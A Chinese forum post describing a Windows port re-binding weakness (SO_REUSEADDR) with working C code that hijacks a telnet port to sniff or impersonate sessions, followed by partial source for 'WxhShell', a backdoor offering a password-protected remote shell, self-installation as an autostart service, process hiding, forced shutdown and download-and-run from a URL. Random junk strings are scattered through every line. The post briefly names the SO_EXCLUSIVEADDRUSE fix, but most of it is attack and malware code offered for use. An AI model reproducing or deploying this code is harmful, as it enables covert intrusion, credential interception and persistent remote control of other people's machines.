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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vw/GAljflu  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [q(}~0{"-  
kDc/]Zb%  
  saddr.sin_family = AF_INET; >UV?n XP}  
"cDc~~3/@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2\G[U#~bi  
r,wC5%&Za  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q-||A  
Q57Z~EsF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?7w7Y;FuR  
HVNX"`]"  
  这意味着什么?意味着可以进行如下的攻击: HUx -8<ws  
L%/atl!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 7h\U}!  
QX+&[G!DZH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [B%:!Q)@  
{N@tJ,Fh{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D1cnf"y^  
*.+N?%sAP)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jgT *=/GH2  
p?x]|`M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *r iWrG  
hu:x,;`9H  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FUZ`ST+OL  
aY\(R02B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ] {=qdgJ  
kS)|oU K  
  #include rnXoA, c/  
  #include -nnAe F  
  #include ,ydn]0SS  
  #include    i[PksT#p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1"U.-I@  
  int main() pYX!l:hk  
  { b&.3uls6  
  WORD wVersionRequested; yH.Z%*=xQa  
  DWORD ret; w,zm!  
  WSADATA wsaData; .'S_9le  
  BOOL val; &e5,\TQ  
  SOCKADDR_IN saddr; P(i E"KH;  
  SOCKADDR_IN scaddr; (+;%zh-  
  int err; [<VyH.  
  SOCKET s; g HKA:j`c  
  SOCKET sc; kTo{W]9]  
  int caddsize; Q6fPqEX=  
  HANDLE mt; +$B#] ,  
  DWORD tid;   iLf* m~Q  
  wVersionRequested = MAKEWORD( 2, 2 ); USbFUHdDc  
  err = WSAStartup( wVersionRequested, &wsaData ); [k7 ;^A5/  
  if ( err != 0 ) { r[AqA  
  printf("error!WSAStartup failed!\n"); &dJ\}O[r  
  return -1; l1]'3]P(  
  } n;~6'f xe  
  saddr.sin_family = AF_INET; ~{[,0,lWU  
   Z+Ppd=||,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qz|xow/ns@  
A7TV-eWG  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %(g!,!l)  
  saddr.sin_port = htons(23); zCSLV>.F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @;>Xy!G  
  { gdG#;T'  
  printf("error!socket failed!\n"); 2yA+zJ 46B  
  return -1; 8<Ex`  
  } N-}|!pqb  
  val = TRUE; Q=#!wWVP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 x$6FvgP(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cDh\$7'b  
  { _sIr'sR~  
  printf("error!setsockopt failed!\n"); <}1GYeP  
  return -1;  P'oY +#  
  } opqf)C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r+}<]?aT>-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 da5fKK/s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fx/If  
^Rmrre`uU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N1X;&qZDd  
  { z2OXCZ*/  
  ret=GetLastError(); 2 m2$jp0  
  printf("error!bind failed!\n"); {)& b6}2h  
  return -1; p *GAs C  
  } q:G3y[ P  
  listen(s,2); +!"7=?}  
  while(1) g (V_&Y  
  { 0ZtH  
  caddsize = sizeof(scaddr); QHe:  
  //接受连接请求 Y,d|b V*FH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 61`tQFx,  
  if(sc!=INVALID_SOCKET) "S3U]zw0_  
  { Xb7G!Hk#g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KZwzQ"Hl  
  if(mt==NULL) bs_rw+  
  { (.~'\@  
  printf("Thread Creat Failed!\n"); =B ts  
  break; j9 &0/ ~/  
  } :c0 |w  
  } Kg#s<#h  
  CloseHandle(mt); :w:ql/?X  
  } [3io6XG x@  
  closesocket(s); V-z F'KI[  
  WSACleanup(); :*)b<:4  
  return 0; k1;Jkq~  
  }   [N1[khY`  
  DWORD WINAPI ClientThread(LPVOID lpParam) UQCond+K  
  { *AA78G|  
  SOCKET ss = (SOCKET)lpParam; fDZnC Fa  
  SOCKET sc; fh@/fd  
  unsigned char buf[4096]; u&$1XZ!es  
  SOCKADDR_IN saddr; B \>W  
  long num; ^j]"5@f  
  DWORD val; `-<m#HF:)d  
  DWORD ret; Bt"*a=t;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]`eJSk.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N"/be  
  saddr.sin_family = AF_INET; =N{-lyr)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H9rZWc"*  
  saddr.sin_port = htons(23); qN6GLx%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mW @Z1Plxs  
  { rcG-V f@  
  printf("error!socket failed!\n"); [300F=R  
  return -1; 9XW[NY#)#  
  } fFd"21 >  
  val = 100; a|@1RH>7H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LrnE6 U9  
  { D}EH9d  
  ret = GetLastError(); \t]aBT,  
  return -1; "'mr0G9X  
  } _tVrLb7`s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]=m0@JTbG  
  { +ZeK,Y+Xy  
  ret = GetLastError(); 5c3&4,,eR  
  return -1; "aeKrMgc6V  
  } mS >I#?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?=\_U  
  { v$bR&bCT  
  printf("error!socket connect failed!\n"); u3_AZ2-;  
  closesocket(sc); \|Ya*8V  
  closesocket(ss); =!PUKa3f<  
  return -1; 5b%zpx0Y  
  } 0 +"P 1/  
  while(1) 9NcC.}#-5  
  { Lcy>!3q3~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `jH0FJQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?&r >`H E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vA, tW,  
  num = recv(ss,buf,4096,0); "AMsBvzgo  
  if(num>0) bL18G(5  
  send(sc,buf,num,0); &?B\(?*  
  else if(num==0) )J!=X`b  
  break; / S)&dN`  
  num = recv(sc,buf,4096,0); i@`T_&6l  
  if(num>0) y{1|@?ii  
  send(ss,buf,num,0); sK`pV8&xq  
  else if(num==0) b:(*C  
  break; Cr%6c3aQ  
  } Nyo,6 AA  
  closesocket(ss); &1,qC,:!  
  closesocket(sc); AJ-~F>gn  
  return 0 ; <D{_q.`vA  
  } +G>;NiP_  
Gzu $  
KoO\<_@";  
========================================================== 3?oj46gP  
XW9 [VUW~  
下边附上一个代码,,WXhSHELL y5 bELWA  
RBM4_L  
========================================================== Bc2PF;n  
[P"R+$"   
#include "stdafx.h" Vch!&8xii  
k84JDPu#  
#include <stdio.h> -YP>mwSN?  
#include <string.h> 9{V54ue;  
#include <windows.h> JIyIQg'5i  
#include <winsock2.h> LuIs4&[EW  
#include <winsvc.h> \m;"KyP+  
#include <urlmon.h> xT1{O`  
p&ml$N9fd  
#pragma comment (lib, "Ws2_32.lib") v_Y'o _  
#pragma comment (lib, "urlmon.lib") j=,]b6(  
nH]F$'rtA  
#define MAX_USER   100 // 最大客户端连接数 3RTraF  
#define BUF_SOCK   200 // sock buffer Gm1vVHAxv  
#define KEY_BUFF   255 // 输入 buffer rC!~4xj-  
Q!dNJQpb  
#define REBOOT     0   // 重启 "Hw%@  
#define SHUTDOWN   1   // 关机 Bn_@R`  
_jCjq   
#define DEF_PORT   5000 // 监听端口 +A,t9 3:k  
S  H5G  
#define REG_LEN     16   // 注册表键长度 gKGM|0u|r  
#define SVC_LEN     80   // NT服务名长度 A1,- qv1s  
#.n%$r  
// 从dll定义API <xeo9'k6&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y*5bF 0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gd 5J<K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q.G6 y,KR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @7aSq-(_l*  
L E>A|M$X  
// wxhshell配置信息 ~ -hH#5  
struct WSCFG { *qm@;!C  
  int ws_port;         // 监听端口 ij=}3;L_!  
  char ws_passstr[REG_LEN]; // 口令 mME a*9P  
  int ws_autoins;       // 安装标记, 1=yes 0=no h^KLqPBt{  
  char ws_regname[REG_LEN]; // 注册表键名 13nXvYo'  
  char ws_svcname[REG_LEN]; // 服务名 "m:4e`_dz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o-jF?9m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) Pdl[+a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X%b.]A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no va/$dD9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R_2JP C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uR7\uvibUO  
:9`T.V<?  
}; *!*J5/ b  
cSSrMYX2  
// default Wxhshell configuration Z{ A)  
struct WSCFG wscfg={DEF_PORT, *OQr:e<}  
    "xuhuanlingzhe", G:2m)0bW  
    1, ;9hi2_luV  
    "Wxhshell", -v(.]`Wo&;  
    "Wxhshell", &<E*W*b[  
            "WxhShell Service", w&7-:."1i  
    "Wrsky Windows CmdShell Service", 8f<[Bu ze  
    "Please Input Your Password: ", uE6;;Ir#mF  
  1, WurpHOJt+  
  "http://www.wrsky.com/wxhshell.exe", ~D)!zQkD  
  "Wxhshell.exe" $3Ct@}=n  
    }; I(dMiL  
bNG;`VZ%  
// 消息定义模块 Ge>%?\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B|Rnh;B-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2I#4jy/g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JL4\%  
char *msg_ws_ext="\n\rExit."; Ppzd.=E  
char *msg_ws_end="\n\rQuit."; +89s+4Jn  
char *msg_ws_boot="\n\rReboot..."; bt,^-gt@  
char *msg_ws_poff="\n\rShutdown..."; ='0f#>0Q  
char *msg_ws_down="\n\rSave to "; #D$vH  
)k8=< =s  
char *msg_ws_err="\n\rErr!"; lnFOD+y9  
char *msg_ws_ok="\n\rOK!"; ~\%MJ3  
#w4= kWJ[  
char ExeFile[MAX_PATH]; q1Si*?2W  
int nUser = 0; s}d1 k  
HANDLE handles[MAX_USER]; S3=M k~_&  
int OsIsNt; .f V-puE  
,xew3c'(W  
SERVICE_STATUS       serviceStatus; b&;1b<BwD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y4HOKJxI  
D %`64R  
// 函数声明 D/w4u;E@  
int Install(void); ? 5qo>W<7  
int Uninstall(void); 2@ >04]  
int DownloadFile(char *sURL, SOCKET wsh); T7AFL=  
int Boot(int flag); /]Fs3uf  
void HideProc(void); #cBt@SEL'  
int GetOsVer(void); -BNlZgk-^  
int Wxhshell(SOCKET wsl); V6,D~7  
void TalkWithClient(void *cs); y#AwuC K  
int CmdShell(SOCKET sock); Eg"DiI)7  
int StartFromService(void); aPq9^S*  
int StartWxhshell(LPSTR lpCmdLine); ai(<"|(  
fa#]G^f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vs~^r>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eiJO;%fl>l  
-}m#uUqI  
// 数据结构和表定义 4'W|'4'b  
SERVICE_TABLE_ENTRY DispatchTable[] = p1Q[c0NMK  
{ |#x;}_>7  
{wscfg.ws_svcname, NTServiceMain}, 2B8p3A  
{NULL, NULL} %($qg-x  
}; {6v|d{V+e  
0KyujU?sF  
// 自我安装 A / N$  
int Install(void) ^A^,/3  
{ `~hAXnQK=  
  char svExeFile[MAX_PATH]; _dj< xPO  
  HKEY key; jGzs; bE  
  strcpy(svExeFile,ExeFile); *J!oV0#1  
G qI^$5?  
// 如果是win9x系统,修改注册表设为自启动 2hV#3i  
if(!OsIsNt) { {4 !%'~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 22\Buk}?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tv<iHHp  
  RegCloseKey(key); AC=cz!3iB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \^kyC1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^lT$D8  
  RegCloseKey(key); <0T4MR7  
  return 0; (}fbs/8\p  
    } )p"37Ct?  
  } #D3e\(  
} .9Bimhc6K  
else { e0HG"z4  
V; 1r  
// 如果是NT以上系统,安装为系统服务 Z&=K+P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PNXZ3:W  
if (schSCManager!=0) J.:"yK""  
{ .Lo$uKsW$l  
  SC_HANDLE schService = CreateService I]>-~_  
  ( a\\B88iRRZ  
  schSCManager, 4@|K^nT`  
  wscfg.ws_svcname, -vI?b#  
  wscfg.ws_svcdisp, $=$I^hV  
  SERVICE_ALL_ACCESS, Z9ciS";L  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v@;:aN  
  SERVICE_AUTO_START, PGMu6$  
  SERVICE_ERROR_NORMAL, C8cB Lsa[J  
  svExeFile, 7Nc@7_=  
  NULL, x{u_kepv[k  
  NULL, R:B-4  
  NULL, t'4hWNR'  
  NULL, ?6B)Ek,'X?  
  NULL MC/$:PV  
  ); sMli!u  
  if (schService!=0) #$%9XD3  
  { .9> e r  
  CloseServiceHandle(schService); YL&$cT]1  
  CloseServiceHandle(schSCManager); it\{#rb=4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a=k+:=%y  
  strcat(svExeFile,wscfg.ws_svcname); XZuJ<]}X,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KO<fN,DR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zzuDI_,/  
  RegCloseKey(key); B4R!V!Z*  
  return 0; <\?ySto  
    } Wt"@?#L  
  } n.67f  
  CloseServiceHandle(schSCManager); iwCnW7:  
} o(>!T=f  
} [9a0J):w{  
bOux8OHt*  
return 1; Q<zL;AJ  
} $}l0Nh'Eu  
jDcE_55o  
// 自我卸载 b ,7:=-D  
int Uninstall(void) N{iBVl  
{ 7*OO k"9  
  HKEY key; 5JDqSz{  
=ALy.^J=  
if(!OsIsNt) { JrseU6N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |]DZc/  
  RegDeleteValue(key,wscfg.ws_regname); E3.=|]W'  
  RegCloseKey(key); JJ ,Fh .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0F`@/C1y55  
  RegDeleteValue(key,wscfg.ws_regname); 9#/z [!  
  RegCloseKey(key); <!K2xb-d^  
  return 0; Y:G6Nd VFM  
  } gPe*M =iF  
} 0gHJ%m9s  
} k\Oy\z@  
else { ):&A\nb  
I'BoP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2j H`  
if (schSCManager!=0) 8;p6~&).C~  
{ uwQ{y>SG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !li Q;R&  
  if (schService!=0) O~9 %!LAu  
  { 6YrkS;_HS  
  if(DeleteService(schService)!=0) { .Q?cNSWU  
  CloseServiceHandle(schService); 2#@S6zc  
  CloseServiceHandle(schSCManager); )& %X AW{  
  return 0; :cG_aO kid  
  } ,\[&%ph  
  CloseServiceHandle(schService); "f~S3?^!2  
  } TuBg4\V  
  CloseServiceHandle(schSCManager); HV&N(;@  
} k x6%5%  
} R7e`Wn  
l:8gCi  
return 1; ]XJpy-U  
} jr*A1y*  
mR[J Xh9s  
// 从指定url下载文件 ?nB).fc  
int DownloadFile(char *sURL, SOCKET wsh) f_9%kEXICt  
{ N|z-s  
  HRESULT hr; joAR;J  
char seps[]= "/"; nBaY|  
char *token; q*@7A6:FV>  
char *file; % &4sHDP  
char myURL[MAX_PATH]; /t%IU  
char myFILE[MAX_PATH]; T WEmW&Q  
5ts8o&|   
strcpy(myURL,sURL); !a ~>;+  
  token=strtok(myURL,seps); d'kQE_y2.  
  while(token!=NULL) tu6c!o,@  
  { z++*,2F  
    file=token; 8 ]dhNA5  
  token=strtok(NULL,seps); &y mfA{s  
  } n+rAbn5o$  
G|'DAj%  
GetCurrentDirectory(MAX_PATH,myFILE); '+Gt+Gq+  
strcat(myFILE, "\\"); Y@TZReb  
strcat(myFILE, file); $oH?oD1  
  send(wsh,myFILE,strlen(myFILE),0); ZdlZ,vK^.  
send(wsh,"...",3,0); NV9D;g$Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m!|u{<,R  
  if(hr==S_OK) iwJBhu0@#  
return 0; E%3WJ%A  
else 6BFtY+.y  
return 1; 8K]fw{-$L  
><TuL7+  
} c|:H/Y2n|  
MH?|>6  
// 系统电源模块 PD$ay^Y  
int Boot(int flag) V~&P<=8;Wl  
{ hh{4r} |  
  HANDLE hToken; G! zV=p  
  TOKEN_PRIVILEGES tkp; %TPnC'2  
Zu_m$Mx  
  if(OsIsNt) { Dvo.yn|kB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P_z3TK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zW!3>(L/  
    tkp.PrivilegeCount = 1; 3 {\b/NL$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z\oq b) a  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "7JO~T+v  
if(flag==REBOOT) { S@z$,}Yc`<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d\3L.5]X  
  return 0; xQ* U9Wt;T  
} )T(xQ2&r4  
else { R4_4FEo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iPa!pg4m  
  return 0; >+7+ gSD#:  
} d@b"tb}R  
  } \Bw9%P~ G  
  else { G=jdb@V/?  
if(flag==REBOOT) { WT;=K0W6&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u!k\W{  
  return 0; S3MMyS8  
} .D-}2<z  
else { zM|d9TS  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tU}CRh  
  return 0; `D>PU@s$nT  
} 5:hajXd  
} aM9^V MOb  
\%KJ +PJ  
return 1; KR^lmN  
} r'7;:  
q^JJ5{36e  
// win9x进程隐藏模块 {e/12q  
void HideProc(void) n (C*LK  
{ GL cf'$l  
=xSFKu*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^Gq4Yr  
  if ( hKernel != NULL ) I .p26  
  { z~L4BY@z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  w+=>b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 54JZEc  
    FreeLibrary(hKernel); lV?rC z  
  } )xiic3F  
YKJk)%;+w  
return; <dV|N$WV  
} VSx[{yn  
sw[1T_S>  
// 获取操作系统版本 L oe!@c  
int GetOsVer(void) o*_[3{FU  
{ ^ W eE%"  
  OSVERSIONINFO winfo; al F*L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GLB7h 9>  
  GetVersionEx(&winfo); 6Hi3h{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jJQ6]ucwa  
  return 1; "6[' !rq0  
  else _'ltz!~  
  return 0; pZ/x,b#.  
} 7 }4T)k(a  
C;0H _  
// 客户端句柄模块 4rO07)~l  
int Wxhshell(SOCKET wsl) >DBaKLu\  
{ ]ctUl #j  
  SOCKET wsh; ]!d #2(  
  struct sockaddr_in client; Tsxl4ZK  
  DWORD myID; S`8 h]vX  
|P$tLOrG  
  while(nUser<MAX_USER) lE78 Yl]  
{ UA!-YTh  
  int nSize=sizeof(client); AY5%<CWj8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \L}Soe'  
  if(wsh==INVALID_SOCKET) return 1; f>s3Q\+  
!e?=I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "A~\$  
if(handles[nUser]==0) |g;hXr#~  
  closesocket(wsh); ?SK1*; i  
else !>TVDN>  
  nUser++; 4`o_r%   
  } 3!_y@sWx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); elG<\[  
u> XCE|D*  
  return 0; +7U$qEG  
} Yz us=  
?[hIv6c  
// 关闭 socket +;c)GNQ)6:  
void CloseIt(SOCKET wsh) a}|B[b  
{ - K0>^2hh  
closesocket(wsh); /csj(8^w  
nUser--; 3BAls+<p o  
ExitThread(0); q!\K!W\  
} \rn:/  
s$4!?b$tw  
// 客户端请求句柄 )[|TxXz d  
void TalkWithClient(void *cs) kl4FVZof  
{ @] uvpI!h  
!f2f gX  
  SOCKET wsh=(SOCKET)cs; wS-D"\4/  
  char pwd[SVC_LEN]; )s5Q4m!  
  char cmd[KEY_BUFF]; m Y*JNx  
char chr[1]; _<yGen-  
int i,j; OBqaf )W  
a6wPkf7-H  
  while (nUser < MAX_USER) { sMlY!3{I x  
NYA,  
if(wscfg.ws_passstr) { ~2@+#1[g8z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LX[<Wh_X(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L:nZ_O;  
  //ZeroMemory(pwd,KEY_BUFF); pUutI|mt/  
      i=0; g VX  
  while(i<SVC_LEN) { bCHJLtDQ  
m/Ou$  
  // 设置超时 cK%Sty'8+  
  fd_set FdRead; x ok8  
  struct timeval TimeOut; Hphvsre<  
  FD_ZERO(&FdRead); 0"o%=i;  
  FD_SET(wsh,&FdRead); w[}5qAI5*f  
  TimeOut.tv_sec=8; Jte:U*2  
  TimeOut.tv_usec=0; KV0M^B|W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2kzm(K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]&w8"q  
HR]*75}e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N9QHX  
  pwd=chr[0]; 0}}b\!]9  
  if(chr[0]==0xd || chr[0]==0xa) { xTiC[<j  
  pwd=0; f40xS7-Q0  
  break; R8O; 8c?D  
  } 1vk& ;  
  i++; Opx"'HC@G  
    } |(G^3+5Uwm  
HJWk%t<  
  // 如果是非法用户,关闭 socket ]awu7}C9Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); luXcr H+w  
} 0`VA} c  
Mhp6,JL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~3bH2,{L[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~iI4v#0  
q;a"M7  
while(1) { YaU)66=u  
Ox9WH4E  
  ZeroMemory(cmd,KEY_BUFF); l&#&}3M  
@c,Qj$\1  
      // 自动支持客户端 telnet标准   fGS5{dti  
  j=0; p?F%a;V3  
  while(j<KEY_BUFF) { Xy/lsaVskX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]yI~S(  
  cmd[j]=chr[0]; n=Qz7N(M  
  if(chr[0]==0xa || chr[0]==0xd) { !o+[L  
  cmd[j]=0; 6/e+=W2  
  break; 3H"bivK  
  } v d A 3  
  j++; U?BuV  
    } =E$Hq4I  
}\Kki  
  // 下载文件 <4UF/G)  
  if(strstr(cmd,"http://")) { H{qQ8 j)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W C z+  
  if(DownloadFile(cmd,wsh)) ip.aM#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ${fJ]  
  else o&WKk5$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s.ywp{EF  
  } bDK%vx!_  
  else { 4'EC(NR7N  
kq +`.  
    switch(cmd[0]) { 2smQD8t  
  P(h[QAM  
  // 帮助 ^}Vx5[  
  case '?': { VaKBS/y"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Psv[b=]  
    break; ,Hq*zc c  
  } cvSr><(  
  // 安装 O$SQzLZx&  
  case 'i': { CjeAO 2  
    if(Install()) Ig b@aGA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =XAFW  
    else HYqDaRn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W<']Q_su  
    break; 6IRzm6d  
    } .zDm{_'  
  // 卸载 |Iq#Q3w  
  case 'r': {  3"B$M  
    if(Uninstall()) ]CL t Km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aG&ay3[&  
    else Mzfuthq=@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )Pj8{.t4  
    break; x ,LQA0  
    } #\DKU@|h  
  // 显示 wxhshell 所在路径 c ow]qe6K  
  case 'p': { iLhxcM2K  
    char svExeFile[MAX_PATH]; ftr?@^  
    strcpy(svExeFile,"\n\r"); d9bc>5%-F  
      strcat(svExeFile,ExeFile); { [S@+  
        send(wsh,svExeFile,strlen(svExeFile),0); Dx:2/"v  
    break; N5]}m:"pk  
    } 'UW]~  
  // 重启 g+ZQ6Hz  
  case 'b': { 4\Nt"#U)g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h4N%(?7  
    if(Boot(REBOOT)) \9FWH}|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y\cQ "9  
    else { 8y$c\Eu(mF  
    closesocket(wsh); xNLvK:@0p  
    ExitThread(0); XHX$Ur9  
    } y&F0IJ|`@M  
    break; bi =IIVlH  
    } ??MF8 uv  
  // 关机 >o45vB4o  
  case 'd': { 2p6`@8*34  
